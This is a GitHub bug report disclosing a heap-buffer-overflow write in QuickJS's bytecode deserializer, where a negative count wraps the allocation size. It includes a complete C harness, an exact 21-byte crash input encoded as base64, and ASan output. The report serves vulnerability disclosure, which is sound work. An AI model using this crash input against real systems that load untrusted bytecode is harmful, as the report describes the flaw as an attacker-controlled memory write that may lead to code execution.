Skip to content

[Bug]Heap-buffer-overflow WRITE in JS_ReadFunctionTag: negative count wraps the allocation size below the header size (CWE-787) #549

Description

@1820893135-pixel

Describe the bug

JS_ReadFunctionTag reads the signed count fields (closure_var_count, cpool_count) with bc_get_leb128_int, which copies an unsigned LEB128 straight into an int: 0xFFFFFFFF becomes -1. The allocation-size math does function_size += (uint64_t)closure_var_count * sizeof(JSClosureVar); with closure_var_count == -1 (and sizeof(JSClosureVar) == 8) the uint64_t function_size wraps to 88 — below offsetof(JSFunctionBytecode, debug) == 96. js_mallocz allocates only 88 bytes, then the header fields (including a memcpy at quickjs.c:38820) are written past the end of the allocation.

It's different from #547
To Reproduce

  1. Clone QuickJS and check out the affected commit:

    git clone https://github.com/bellard/quickjs.git
    cd quickjs
    git checkout 04be246001599f5995fa2f2d8c91a0f198d3f34c
  2. Save the driver below as poc_driver.c and build with ASan:

    gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl -o poc_driver

    How the input is interpreted: the first byte of the POC selects the
    JS_ReadObject flag combination (flags_tbl[first_byte % 6]); the remaining
    bytes
    are the serialized bytecode/object stream passed to JS_ReadObject.

/*
 * poc_driver.c - minimal PoC driver for QuickJS JS_ReadObject
 * deserialization bugs. Byte-for-byte mirrors the fuzz harness (harness.c):
 * the first byte of the input selects the JS_ReadObject flag combination,
 * the remaining bytes are the serialized bytecode/object stream.
 *
 * Build with AddressSanitizer against a QuickJS checkout:
 *   gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c \
 *       libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl \
 *       -o poc_driver
 * Run:
 *   ./poc_driver <poc.bin>
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "quickjs.h"
#include "quickjs-libc.h"
#include "cutils.h"     /* FALSE/TRUE */

static int nb_interrupts;

static int interrupt_handler(JSRuntime *rt, void *opaque)
{
    nb_interrupts++;
    return (nb_interrupts > 100);   /* abort runaway scripts */
}

int main(int argc, char **argv)
{
    FILE *f;
    long sz;
    uint8_t *buf;
    JSRuntime *rt;
    JSContext *ctx;
    JSValue obj, val;
    static const int flags_tbl[] = {
        0,                                          /* plain object      */
        JS_READ_OBJ_BYTECODE,                       /* bytecode function */
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA,/* rom-data aliasing */
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_SAB,
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_REFERENCE,
        JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA |
            JS_READ_OBJ_SAB | JS_READ_OBJ_REFERENCE,
    };

    if (argc < 2)
        return 1;
    f = fopen(argv[1], "rb");
    if (!f)
        return 1;
    fseek(f, 0, SEEK_END);
    sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    buf = malloc((size_t)sz);
    if (fread(buf, 1, (size_t)sz, f) != (size_t)sz)
        return 1;
    fclose(f);

    rt = JS_NewRuntime();
    ctx = JS_NewContext(rt);
    JS_SetMemoryLimit(rt, 0x4000000);   /* 64 MB, same as fuzz harness */
    JS_SetMaxStackSize(rt, 0x10000);    /* 64 KB */
    JS_SetInterruptHandler(rt, interrupt_handler, NULL);

    /* First byte selects flags; the rest is the serialized stream. */
    obj = JS_ReadObject(ctx, buf + 1, (size_t)sz - 1, flags_tbl[buf[0] % 6]);
    if (JS_IsException(obj)) {
        JS_FreeValue(ctx, JS_GetException(ctx));
        return 0;
    }

    /* Execute the deserialized bytecode if it is a module/function. */
    if (JS_VALUE_GET_TAG(obj) == JS_TAG_MODULE) {
        if (JS_ResolveModule(ctx, obj) < 0) {
            JS_FreeValue(ctx, obj);
            JS_FreeValue(ctx, JS_GetException(ctx));
            return 0;
        }
        js_module_set_import_meta(ctx, obj, FALSE, TRUE);
    }
    val = JS_EvalFunction(ctx, obj);
    if (JS_IsException(val))
        JS_FreeValue(ctx, JS_GetException(ctx));
    else
        JS_FreeValue(ctx, val);
    return 0;
}
  1. Write the exact 21-byte POC. The base64 string below round-trips to the byte-identical crash input:

    printf 'AQUADAAAAAAAAAABAAD/////DwAA' | base64 -d > poc.bin
  2. Run it:

    ./poc_driver poc.bin

    ASan output:

    ==...==ERROR: AddressSanitizer: heap-buffer-overflow ...
    SUMMARY: AddressSanitizer: heap-buffer-overflow ... in __interceptor_memcpy
    

    Exit code 1.

Expected behavior

The count fields should be read as unsigned and checked for overflow before the allocation-size arithmetic; a negative/overflowing count must be rejected.

Screenshots

Image

Please complete the following information:

  • OS: Linux x86-64 (Ubuntu 22.04)
  • QuickJS version: 2026-06-04 (commit 04be246001599f5995fa2f2d8c91a0f198d3f34c)

Additional context

  • Deterministic: yes — the same 21-byte input always triggers the ASan report (verified 5/5 runs).
  • Reachability: the public JS_ReadObject(ctx, buf, len, JS_READ_OBJ_BYTECODE) API deserializes attacker-controlled bytecode; JS_EvalFunction then executes it.
  • Severity: high (attacker-controlled heap OOB write, potential RCE) (CWE-787).
  • CWE: CWE-787.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions